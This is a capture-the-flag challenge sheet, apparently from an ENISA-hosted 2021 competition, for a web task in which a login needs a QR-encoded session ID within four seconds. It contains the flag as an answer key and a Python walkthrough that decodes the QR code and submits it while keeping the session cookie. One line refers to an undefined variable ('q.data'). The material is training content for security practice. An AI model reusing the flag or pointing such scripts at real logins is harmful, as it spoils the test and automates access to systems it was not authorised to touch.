

QUICK RESPONSE CODE

AUTHOR:

CYBEXER TECHNOLOGIES

International Cyber Security
Challenge



SEPT 2021



1. DESCRIPTION

There is a login page at target host:port.

It displays a QR code and expects a session ID to get in. The ID is part of QR, so this should be a simple one. Or is it?

2. CHALLENGE SPECIFICATIONS

- Category: Web exploitation
- Difficulty: Easy
- Estimated time: 15-30 min

3. QUESTIONS AND ANSWERS

3.1 WHAT FLAG IS DISPLAYED UPON SUCCESSFUL LOGIN?

```
icsc{ccccce-dab9-44c3-bb00-83511a96a41b}
```

4. SETUP INSTRUCTIONS

Dockerfile and *docker-compose.yml* are provided to run the task in a container. **FLAG** and **PORT** can be given through docker-compose environment, see **.env**:

```
$ cat .env
FLAG=" icsc{ccccce-dab9-44c3-bb00-83511a96a41b}"
PORT=84
```

```
docker-compose build
```

```
docker-compose up
```

FLAG is inserted to container at build time, ports are mapped at start-up.

5. ARTIFACTS PROVIDED

File	SHA-256
qr-code.tar.gz	aa867778aee1cb9101969847ec14a8e18f2a268f2870f35d778dc78d11bb715f

6. TOOLS NEEDED


- Scripting language, e.g., Python

7. WALKTHROUGH

Start by giving few random letters as session ID:



You get an error message saying that session is invalid or expired (4s). A new QR code is also presented. Note the "4s": session timeout is so short that there is no way to manually parse the QR code and enter requested information:



Wrong session ID or session timeout (4s). Please try again!



Thus, the key is scripting. The script must do two things:

- Parse QR code and identify correct session ID
- Submit answer, whilst maintaining the session

It can be done with few Python modules:

- `httplib` and/or `urllib` for making requests
- `bs4` for parsing HTML responses
- `qrcode` for parsing the qr code

All of the mentioned modules are available as *apt* packages in Ubuntu / Kali Linux, some could even be part of default installation.

Let's start by retrieving login page and extracting link to the QR code image from there:

```
import httplib2
from bs4 import BeautifulSoup

http = httplib2.Http()
url = 'http://env019.target:84/'
response, content = http.request(url)
links = [img['src'] for img in BeautifulSoup(content, features='lxml').find_all('img')]
print("Image links:", links)
```

Let's grab cookies as well because this is the most common way of maintaining a session:

```
cookie = response['set-cookie']
print("Cookies:", cookie)
```

Test:

```
$ python3 solver.py
Image links: ['gen.php?s=qrh&d=']
Cookies: PHPSESSID=3a3f475acaa0c2bf3734dc49d54960b7; path=/
```

Now we need to fetch the image and parse it. We need to pass the acquired session cookie in request to get the correct image. We must save the image into a temporary file with correct extension for *qrcode*. We can get the extension from *Content-Type* header by omitting everything before slash.

The following snippet is continuation of previous script:

```
import qrcode
qr = qrcode.QR()
for link in links:
    response, content = http.request(url+link, headers={"Cookie": cookie})
    fname = "image." + response['content-type'].split('/')[-1]
    with open(fname, "wb") as f:
        f.write(content)
    qr.decode(fname)
    print("Decoded QR:", qr.data)
```



Test again:

```
$ python3 solver.py
Image links: ['gen.php?s=qrh&d=']
Cookies: PHPSESSID=3a3f475acaa0c2bf3734dc49d54960b7; path=/
Decoded QR: cba70691-c847-4123-909d-4b86ec5a8589
```

Since the QR code contains only an UUID, let's assume that this entire string is the expected session id that must be posted to the form. Target URL of the form and names of fields can be identified by inspecting the page in browser. We need just one more line in our script to post it:

```
response, content = http.request(url+"loader.php",
                                "POST",
                                "login="+q.data+"&submit=ok",
                                headers={"Cookie": cookie,
                                         "Content-Type": "application/x-www-form-urlencoded"
                                })
print(content)
```

Now, there's a surprise:

```
$ python3 solver.py
Image links: ['gen.php?s=qrh&d=']
Cookies: PHPSESSID=252bd276bc85ee6ae266a55632033a49; path=/
Decoded QR: 0848d481-6543-41a5-a0ef-e8a778a169e5
b''
```

Empty content? It turns out that server responded with redirection (HTTP 302) to /index.php. Thus, we need one more step to the script:

```
if response['status'] == '302':
    response, content = http.request(url+response['location'], headers={"Cookie": cookie})
    print(content)
```

OK, Now we got a bunch of HTML, where flag is seen:

```
...
<span style="color:red;">\n\t\t<br>Flag: icsc{ccccce-dab9-44c3-bb00-
83511a96a41b}\t</span>\n\t</center>\n
...
```

Done.



ENISA
European Union Agency for Cybersecurity

Athens Office
1 Vasilissis Sofias Str.
151 24 Marousi, Attiki, Greece

Heraklion Office
95 Nikolaou Plastira
700 13 Vassilika Vouton, Heraklion, Greece



ISBN xxx-xx-xxxx-xxx-x
doi:xx.xxxx/xxxxxx
TP-xx-xx-xxx-EN-C



enisa.europa.eu